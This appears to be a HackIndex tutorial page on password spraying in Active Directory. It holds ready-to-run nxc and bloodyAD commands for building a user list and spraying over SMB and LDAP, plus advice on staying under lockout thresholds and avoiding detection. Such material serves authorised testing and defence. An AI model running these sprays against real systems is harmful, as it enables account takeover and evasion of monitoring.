Skip to content
HackIndex logo

HackIndex

Password Spraying

3 min read Jul 10, 2026

Password spraying tries one password against many accounts rather than many passwords against one account. This avoids lockout because each individual account only receives one failed attempt per spray round. The maximum safe number of attempts per round is always lockout threshold minus one. Never reach the threshold.

Read the domain password policy before starting. See Password Policy and Spray Surface for how to extract threshold and observation window values.

Build a username list

Spray requires a username list. Pull it from LDAP enumeration using any authenticated account, or from earlier object enumeration output.

┌──(kali㉿kali)-[~]
└─$ # BloodyAD — all enabled user accounts
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName | grep sAMAccountName | awk '{print $2}' > users.txt
 
┌──(kali㉿kali)-[~]
└─$ # nxc — users module
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD --users | awk '/\[\+\]/{print $5}' | cut -d\ -f1 > users.txt
 
┌──(kali㉿kali)-[~]
└─$ # Verify count
┌──(kali㉿kali)-[~]
└─$ wc -l users.txt
247 users.txt

Spray over SMB

SMB spray is the most common starting point. Use --continue-on-success so nxc does not stop on the first hit. Watch for STATUS_PASSWORD_MUST_CHANGE alongside failures — that is a valid account with an expired password, still useful.

┌──(kali㉿kali)-[~]
└─$ # Single password against all users
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u users.txt -p 'Password123!' --continue-on-success
 
┌──(kali㉿kali)-[~]
└─$ # Common seasonal patterns
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u users.txt -p 'Winter2024!' --continue-on-success
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u users.txt -p 'Spring2024!' --continue-on-success
 
┌──(kali㉿kali)-[~]
└─$ # Local admin spray across subnet
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_SUBNET -u Administrator -p $PASSWORD --local-auth --continue-on-success
SMB  10.10.10.10  445  DC01  [-] corp.local\jdoe:Password123! STATUS_LOGON_FAILURE
SMB  10.10.10.10  445  DC01  [+] corp.local\svc-backup:Password123!

Spray over LDAP

LDAP spray produces less noise on some configurations than SMB and does not require SMB to be accessible. Use this as an alternative when SMB is filtered or when you want to avoid SMB-specific detections.

┌──(kali㉿kali)-[~]
└─$ # LDAP spray
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u users.txt -p 'Password123!' --continue-on-success
 
┌──(kali㉿kali)-[~]
└─$ # LDAPS
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u users.txt -p 'Password123!' --continue-on-success --port 636
LDAP  10.10.10.10  389  DC01  [-] corp.local\jdoe:Password123! INVALID_CREDENTIALS
LDAP  10.10.10.10  389  DC01  [+] corp.local\svc-backup:Password123!

Spray timing

When the lockout threshold is 5, spray a maximum of 4 passwords per observation window. Wait for the full observation window to expire between rounds so every account's counter resets before the next attempt.

Example: threshold 5, observation window 30 minutes. You can spray 4 passwords at once, then wait 30 minutes before the next round. If the threshold is 0, there is no lockout — spray freely.

Interpret results

STATUS_LOGON_FAILURE is a wrong password. STATUS_ACCOUNT_LOCKED_OUT means you hit the threshold on that account — stop immediately and wait for the lockout duration to expire. STATUS_PASSWORD_MUST_CHANGE is a valid set of credentials where the password has expired — the account is usable after a password change. STATUS_ACCOUNT_DISABLED confirms the account exists but cannot authenticate.

After finding valid credentials, run Object Enumeration from the new account context before attempting further access. With confirmed credentials, lateral movement paths include Pass-the-Hash over SMB, Evil-WinRM for WinRM access, and RDP Brute Force and Password Spray if RDP is exposed.

References